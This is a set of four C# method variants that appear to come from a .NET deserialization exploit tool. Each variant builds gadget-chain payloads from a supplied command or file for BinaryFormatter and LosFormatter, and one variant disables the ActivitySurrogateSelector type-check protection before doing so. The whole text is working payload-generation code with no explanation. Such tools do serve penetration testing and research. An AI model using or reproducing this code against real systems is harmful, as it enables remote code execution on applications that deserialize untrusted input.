public override object Generate(string formatter, InputArgs inputArgs) { // Disable ActivitySurrogate type protections during generation System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); try { PayloadClassFromFile payload = new PayloadClassFromFile(inputArgs.Cmd, variant_number, inputArgs); if (inputArgs.Minify) { byte[] payloadInByte = payload.GadgetChainsToBinaryFormatter(); if (formatter.ToLower().Equals("binaryformatter")) { if (inputArgs.Test) { try { SerializersHelper.BinaryFormatter_deserialize(payloadInByte); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payloadInByte); } else if (formatter.ToLower().Equals("losformatter")) { payloadInByte = Helpers.ModifiedVulnerableBinaryFormatters.SimpleMinifiedObjectLosFormatter.BFStreamToLosFormatterStream(payload.GadgetChainsToBinaryFormatter()); if (inputArgs.Test) { try { SerializersHelper.LosFormatter_deserialize(payloadInByte); } catch (Exception err) { Debugging.ShowErrors(inputArgs, err); } } return(payloadInByte); } } return(Serialize(payload, formatter, inputArgs)); } catch (System.IO.FileNotFoundException e1) { Console.WriteLine("Error in provided file(s): \r\n" + e1.Message); return(""); } }
public override object Generate(string formatter, InputArgs inputArgs) { try { PayloadClassFromFile payload = new PayloadClassFromFile(inputArgs.Cmd); return(Serialize(payload, formatter, inputArgs)); } catch (System.IO.FileNotFoundException e1) { Console.WriteLine("Error in provided file(s): \r\n" + e1.Message); return(""); } }
public override object Generate(string file, string formatter, Boolean test) { PayloadClassFromFile payload = new PayloadClassFromFile(file); return(Serialize(payload, formatter, test)); }
public override object Generate(string formatter, InputArgs inputArgs) { PayloadClassFromFile payload = new PayloadClassFromFile(inputArgs.CmdRawNoEncoding); return(Serialize(payload, formatter, inputArgs)); }